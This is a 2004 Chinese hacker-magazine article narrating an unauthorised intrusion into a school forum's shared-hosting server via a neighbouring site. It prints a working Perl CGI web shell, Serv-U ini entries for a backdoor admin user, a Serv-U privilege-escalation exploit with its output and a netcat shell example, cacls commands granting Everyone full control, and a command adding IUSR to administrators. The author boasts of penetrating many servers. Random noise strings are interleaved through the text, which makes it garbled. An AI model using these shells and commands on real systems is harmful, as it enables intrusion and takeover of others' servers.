剑走偏锋——灵巧的旁注攻击 0 r9 a2 q9 H& K) J- [/ K% ^5 \0 w! }6 e$ W' p
本文作者:angel' Q5 l! m- A7 ~1 \: X
文章性质:原创
. p1 R; ^, {0 d9 a/ W2 v& e0 I发布日期:2004-11-09
0 B- s( d# b$ Q) c/ x. A注意:* Q6 C+ k# l; [3 m7 Q7 l* `
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。7 Q. [ w$ p6 K! A+ k1 o0 x
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。5 o" s" W6 T: `8 b
, V- [3 v* f9 {" C, | 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
( P* n" j0 V0 W. a! m* j Q6 \ ]+ w& z7 X' J) ]6 ?$ L6 _* d6 C
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 4 O; c3 f8 l7 ^
! ^7 r0 }2 W" Z5 W% n X! Q- t
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 1 e4 Z* v2 `$ U% R8 S2 N9 t2 Y) @; a
" H9 ^- W* t5 C+ B+ { 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
5 j9 ]1 S0 I( X" ^
* @' y+ q, c: R4 T" q 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
5 S; c3 [; i& S! c9 v3 f. M4 T' ?7 [! }/ V
没有目的的跳转目录着……
& I. @# V4 J. u4 \* {1 ?: m! d+ Y: o2 N: r4 j7 k7 A
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… - W( q; u! ]; a- e: h4 f
/ t2 m: U" I. r* j r 结束了吗?不,我试着 FTP 一下:
3 q1 F/ Q4 t s
" T! T. P. J1 WMicrosoft Windows 2000 [Version 5.00.2195]2 [5 }5 u$ Z) ]$ O4 A
(C) 版权所有 1985-2000 Microsoft Corp.
+ @( }5 q5 U8 O; T, }3 w. w2 D2 }# t" v2 Z' h$ F6 g
C:\Documents and Settings\Administrator>ftp www.school.com
1 @) I8 o' f; I& n4 U+ PConnected to www. school.com.
6 y5 [% |0 |' y3 O! @7 \+ | `220 Welcome to FTP Server... ; j" o" t \! H7 j
User (www.bjtrq.com:(none)): " b# M- a* l2 d/ a: u5 Z. D
331 User name okay, need password.
" R6 R3 I8 c) K5 g( ~) V; P, VPassword: & L9 \' t3 U; z' l
530 Not logged in. 1 B8 H$ {4 L# R" w) W
Login failed.
4 L. s. T9 k' V) d+ fftp> bye 9 F( k- E/ q) A, T- w
221 Goodbye!
% f0 d+ x5 r& Q- r6 } & y# C# b1 p+ {% a
% V2 |( t0 A5 |
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… " z6 g; `3 C- C% r* }' @$ w6 }
* Q V* ~) V. Y7 ]/ Z6 y4 ~ 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 % R N6 H3 P) E: O9 a! y, \
- @1 \" ?' N2 C& r% Q8 DApplication Data
2 m, w g8 Y: L! u6 N- j0 QDocuments
5 a# s* U$ u1 t$ D; |) c/ MDRM
: U4 W# Q9 P" X, _, k$ h( L4 lFavorites6 b" l1 ~+ Z7 {' X; a* v3 h9 o& F1 ~
Templates, H s4 z6 Q1 J
「开始」菜单6 |; \( j: E) ~# D1 v
桌面4 P' f# @6 b" B1 B
3 F2 o% t: N; j" u0 r$ H! V8 ]" R+ S, _
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, + `0 A; G4 U- ?# T8 c& j6 p# d
8 V' t% ~7 L/ t' T2 uActiveState ActivePerl 5.8
6 c7 f" V/ s' \ J7 xAdministrative Tools! _) p3 Z* F# m4 u; ]
Deerfield.com
. A, z& {) M. T' |* P( z* `DTemp
! Z# V* c# l0 b8 G4 u+ MIPSentry. Z. Z, ~# Z" V5 V; Q4 S
MBM 5
# B/ R) R+ A, u7 s$ l2 g3 ^NetMeter: ]/ h* B) i4 f( y! j* H- J
Network ICE
" a% F# Y% Q" B% f& h2 a3 xPersits Software AspEmail( o) L- W6 ], N! l+ n
Persits Software AspJpeg) e7 y, u9 p" D9 o
Serv-U FTP Server) {) M) @' k$ Q
Symantec Client Security
- O0 v# O: V* w9 Z' U: xWindows 优化大师
) k+ R+ U r- n- W% t+ S7 VWinRAR
7 y$ {3 Z3 F! s启动
8 Z. t; Q1 P3 Z管理工具
9 R6 L+ d/ z2 D: F# Z z8 @5 p( c附件8 ]. W) r6 [! l/ w, v
6 {$ D5 a, D+ ?9 C X" \1 m, a
$ u% ~$ y; a x! s: o( h% S 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
* V7 @+ ~5 O- d u q$ P, ~# W0 Y5 f* p. S8 t$ A$ v P$ B, r1 F
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
, m% _& f7 f1 x D/ K+ B% t- D/ j: `' z4 N1 w/ }, y$ m
User281=angel|1|0
& G3 G4 |+ D9 G- q7 K# n
% Q+ U; d! a! v: T: b( ~' d
: `1 T* q! c. y: u' z 然后加上 5 A0 U7 N* e$ W1 [$ }
3 s1 x+ A9 E. l$ T2 G[USER=angel|1]
3 `' a2 s$ W" KPassword=ng98F85379EA68DBF97BAADCA99B69B805
% i; t: y; U$ B' p( q/ g% KHomeDir=D:\websites
& P8 [; P$ _1 b! v4 SRelPaths=1/ W# T) [4 e9 b
TimeOut=600) b) z3 ?. j8 T" k% m
Maintenance=System ]( I; z1 _) U6 z$ U
Access1=D:\websites|RWAMELCDP
. {+ \0 }- u! s3 N# E, OSKEYValues=
8 [: K {& K( T% l& R6 H2 u7 }" P1 m% | 9 J1 U) ?, o. n
" d4 k. \+ D+ r5 L% v1 U. s, V* y6 q 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 2 H" I) N2 `2 M8 ?% Y
/ m# p$ ?3 G" T/ {$ A
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ! W4 g6 M$ Q7 T1 q3 m! ]. V$ v! Q2 d& _
- u+ K+ L+ c* @2 \
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ; q& ]9 C- |1 H0 T, f5 k: M
- U( o x: s6 C+ |
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: " T4 O, @- F* ?0 o
d# b3 T% ^" j Q#!/usr/bin/perl
# O5 _! M e- H7 w! Hbinmode(STDOUT);
' l5 u2 x& N+ s/ @1 f1 vsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);& i7 D. O! M+ Y, j4 j& z( O
$_ = $ENV{QUERY_STRING}; `3 M. [1 p& I: G) k6 S# |
s/%20/ /ig;
; Q6 r; Z- o5 Y7 ss/%2f/\//ig;! p5 u% x2 ~% i& N0 `
$execthis = $_;9 k$ u3 z8 u% ^/ o; l) y
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
7 m9 R5 ~1 R& t, f1 `& Yopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
8 ^( _+ S6 w( y( Msystem($execthis);
$ I. X$ @2 ]: bsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
$ _; ]+ E5 k; z6 mclose(STDERR);
* f9 v4 {2 R a4 t2 L/ cclose(STDOUT);7 f& n- p3 i$ {3 B
exit;3 x7 ~3 C, [: P: I) B
& B# x. ~; z1 x
. m1 F' i7 X% Z9 o3 F 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 0 }2 i; l' H! y4 A' E
2 f4 B7 H1 f H A$ m 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
7 @2 S' P, I! I7 K" h% l" ~
6 b1 N. e. G. [/ w! i6 Phttp://anyhost//cmd.pl?d:\user\bin\su.exe
0 @5 E9 M" ~/ |2 H ) g! B& N- W2 ~; A- K. D
+ B# n7 C" {0 @) i9 J/ y6 l. t 返回: 6 r B) d8 k+ |* Q b( K* h) R5 V
3 q+ _) |/ i" e/ O
Serv-u >3.x Local Exploit by xiaolu
1 I6 v0 ~! J4 F, y/ i) l u* q9 {3 k3 D) I1 H; I8 W6 i& M2 k! D7 b
USAGE: serv-u.exe "command"
8 p. L, L# w. t9 Z! V4 E$ U6 J6 X
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
5 K- u& Y) i) q7 M8 w2 x& Z4 b* d! | 4 z& f* u; Q! S! X3 g( C
3 o/ U& V, p( C0 d$ j
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 2 R: S9 E: Z, S/ h4 c, f5 o5 |: G
6 j2 Q# c. W* thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" & z2 o6 K; T) K! `4 T/ _
0 \1 v* I O$ u I) f3 mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
6 }- Y' Q) K) A9 J: A/ s% o$ H9 a5 }) z5 @7 Z) X, M9 R8 X/ O6 H5 s
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
. _5 s5 ` @0 E$ I2 X
! \% k6 P) v1 l2 Ahttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ! S) }1 X' u: x
# _; m _% `" K) D2 Q& J1 e
+ J' @4 f+ j# I0 z+ {) e& l% g 返回下面的信息,就表示成功了!!! ' r3 [. b2 y/ ]& o! X9 m
! K. y' \. V5 c( G2 h# I
Serv-u >3.x Local Exploit by xiaolu 9 h" N( u) _0 `) E6 Z
2 L; l/ P8 p& }$ x
<220 Serv-U FTP Server v5.2 for WinSock ready... 1 [. ^) c" s) M8 R+ ~
' V3 p; d' g9 ?0 b( G9 a
>USER LocalAdministrator
2 I7 V1 C( O0 O+ B1 x
: K) X! T+ _' C7 m<331 User name okay, need password.
4 t& U3 J6 O* H
5 q- l. U- v; c$ E+ v****************************************************** ( [6 b: m0 G/ @
( p9 L0 v) [; O. { P3 s
>PASS #l@$ak#.lk;0@P
0 r+ A! k9 n) ]" p; `, K1 d! x2 n4 T" {: K4 ^
<230 User logged in, proceed. 0 K! H( F Y! O3 q) Q9 _# u
( W2 y& S N; j/ I2 |0 u" g( p% \
******************************************************
- g5 t- ~, U8 E/ J7 \% \8 w% a5 Z7 z
>SITE MAINTENANCE , O! v1 @1 r% K+ n1 f8 }3 e
4 h# C3 H, O8 ?" X7 C/ y
****************************************************** : l0 _2 ^% C+ ?3 {' j
3 S+ t# a: S I% o[+] Creating New Domain... 2 p6 q, j! o! E6 G/ ^! q
, K4 k9 p2 k$ y$ h! B<200-DomainID=2 2 Y. s- {' U3 ]' E/ t
$ r' G$ G0 P0 A% }' u* ]; C
<220 Domain settings saved 8 k9 f' Q) y; @" x8 Q( T. { N
; d- p5 @8 c& H3 ]& s2 i9 N8 z****************************************************** 9 A& p. G* r! Q2 F
" M+ i: O7 \% K2 ~2 P1 S[+] Domain xl:2 Created 0 [; Q4 B$ J% n r8 Z; s o" m
; x* T4 p" `# v4 _2 ~5 y! D2 j$ y4 r[+] Creating Evil User
, i0 b0 H* ~. |1 ?- r! E2 F/ t2 }9 d5 H% ^, |3 F
<200-User=xl / A2 K) u5 S* I) g% }
7 |/ v! h* k' K; O200 User settings saved
( [- P( l* o0 ?( {7 B+ ^; A
5 ~8 ^+ G8 {% _; f3 Y% B. V" ]4 d5 Z8 n% b****************************************************** ) S6 }$ z6 i7 |2 D
# L w) L- w6 n$ _
[+] Now Exploiting...
, A& T- O6 ~$ V5 ]2 M, L" f; _. L
7 B" b6 L0 g5 t8 q3 @0 |5 ^( r& N>USER xl / i. z8 E1 U# a b' H4 q
6 w: T P6 G6 T. ]) r5 [7 n
<331 User name okay, need password.
1 d* \( V' V; j' ?; L! }: S* ~0 J+ a- C5 _5 p7 n
****************************************************** 6 A0 K0 k. k' V6 p& Y
( l/ U8 l$ ]" V5 T n9 B; T5 h9 e8 c>PASS 111111
# r' C+ J7 a& U4 r: n
3 ]: l8 B- }+ |- t6 Y8 L<230 User logged in, proceed. 4 Y6 F3 D$ I- W
3 x' A/ H' _2 u. S
****************************************************** % v& y* \6 q7 g) x1 g' H2 O
- l! h0 N7 z( \0 {1 v7 v% p# ~. C[+] Now Executing: cacls.exe c: /E /T /G everyone:F
+ k- |. a2 U* F% q' Y: m
# F/ N# O) y4 D- q+ @, \<220 Domain deleted + H6 }/ G2 y. t/ e2 O# T. D
: k, s. ~1 J: X4 L
******************************************************
* R7 |8 T0 h# k' c) M1 E) j8 Z 5 L& O8 b: J( Q6 S8 p/ R
. c' ~. K4 _3 ^- @6 ?% N g
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: , U' @' C, K6 h
7 O( w* |. B: f4 U. z5 b Y0 I; l4 }http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
1 f- a0 C9 C4 p B) B% P) i 4 G, _6 e" g1 U: A% q: W- ~
7 O; {- ~7 k2 s/ a# Z
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
7 d2 I/ |/ A" m- z1 a* `- t
# F# ]1 n2 u G2 ` 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。9 D- d) P9 d7 T: Y. K6 H, H
% H3 g! k' z Z# `$ o
. r+ n) q. x* v1 J! J* e1 g
|